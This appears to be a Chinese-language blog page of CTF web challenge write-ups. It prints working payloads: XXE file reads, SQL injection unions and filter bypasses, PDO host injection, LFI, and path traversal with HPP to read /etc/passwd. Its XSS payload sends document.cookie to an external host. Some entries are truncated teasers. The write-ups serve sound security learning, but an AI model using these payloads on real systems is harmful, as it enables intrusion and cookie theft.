albertchang

albertchang

当你经历过一些事情的时候,眼前的风景就和从前不一样了~

趁着最近没啥事,顺手打了打一个国外的ctf比赛,做了几个web题目,现在简单的写一写

web1:No Pain No Gain 75分

题目给了一个csv转换成html的页面,其实是一个存在回显得xxe,直接上payload:

<!DOCTYPE data [ <!ENTITY alb SYSTEM "file:///home/flag/flag" > ]>
id,name,email
1,&alb;,email1@mail.com

WX20170402-233723@2x.png

这题目最坑的就是找flag,找了好久。。。

web2: Slumdog Millionaire 100分

  1. 题目很简单,我们要做的就是预测一个随机数,根据题目给的,我们首先随便输入一串字符,拿到第一次的正确答案,然后根据这次的进行爆破,就可以了,脚本如下:
#!/usr/bin/python2.7
import random
ngames = 0
def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers

for i in xrange(100000):
    random.seed(i)
    winning_combination = generate_combination()
    if winning_combination == '05-20-61-40-31-10-07-14-42-95':
        print generate_combination()

##web3:Divide and rule 120分

  1. 题目给了一个查询的地方,但是问题在于,有长度限制,是15个字符,但是没有过滤
  2. 直接进行查询,但是发现information_schema超长了,所以直接爆破一下表名字段名就好了,得到users表,login,password字段。
    payload:
firstname='union select/*&lastname=*/login,2,3,/*&position=*/password,5,/*&country=*/6/*&gender=*/from users#

##web4:Purple Posse Market 200分

  1. 题目存在一个联系管理员,然后还有一个管理员在线,一下子想到是xss
  2. 发现没有过滤,直接x发现拿不到cookie
  3. 想起来以前在pwnhub一次火日师傅的比赛时候的技巧,直接x拿不到东西,但是可以利用document.write写进去在拿cookie,于是构造payload:
<script>document.write('<img src="http://xss.albertchang.cn/?coo='+escape(document.cookie)+'">')</script>
  1. 拿到cookie之后登陆,没找到flag,尝试之后发现IBAN就是flag:IBAN FR14 2004 1010 0505 0001 3M02 606

##web5:WhyUNoKnock 250分

  1. 题目考点在于一个pdo的拼接字符串的注入,我们可以修改数据库host为自己的数据库:我们将group修改为mysql:dbname=users;host=127.0.0.1 ,同样报错。于是我们可以尝试修改host为自己的主机,抓包得到字段名是id, login, and password,表名logins,于是我们在自己的vps上配置一下,利用mysqld --skip-grant-table 实现免密登陆,新建一个数据库users,新建一个表login,三个字段,然后修改host为自己的vps,成功登陆,拿到flag.截图待续。。。这题目有毒,做的时候就发现了,一会儿可以一会儿不可以的感觉

请输入密码访问


http://78.46.224.80/


题目类型:web


漏洞:LFI


分值:400分


解题思路:

  1. 开始的时候fuzz了一下,发现可以admin+任意密码登录后台,并且发现了flag的位置:http://78.46.224.80/reeeaally/reallyy/c00l/and_aw3sme_flag
  2. 直接访问发现403
  3. 自己注册一个用户,发现访问是http://78.46.224.80/?page=list,利用php://filter可以实现lfi读取任意文件。

阅读剩余部分...


http://78.46.224.75/


题目类型:web


漏洞:sql注入


分值:175分


解题思路:

  1. 题目给了一个输入框,输入数据会进行查询
  2. 通过firebug发现数据是直接json之后发给后台的
  3. http://78.46.224.75/static/shia.js这是数据处理的js
  4. 找到网址http://78.46.224.75/quote/1,通过修改quote_id可以发现这个参数存在注入。
  5. 测试过滤:关键词单次过滤,可以通过双写绕过;空格被过滤,采用%0d的方式绕过;特殊符号直接过滤,并给出回显nice try skid

阅读剩余部分...


  1. 首先拿到一个二进制程序。。。完全不知道干啥的,运行没有反应,wireshark抓包发现了一个网址shell.pwnme.site
  2. 直接访问访问不到,扫一发子域名,找到了一个blog.pwnme.site
  3. 博客直接可以尝试登录,命名规律是user_login,尝试注册,访问user_register,成功注册
  4. 注册登录之后在源码中看到功能file_download,参数filename,利用./../../的方式或者hpp的方式(filename=../../../../../../../etc/passwd&filename=models.py)可以读取任意文件,利用hpp绕过百度云的waf。
  5. 读取到了三个py文件,web.pymodels.pyconfig.py

阅读剩余部分...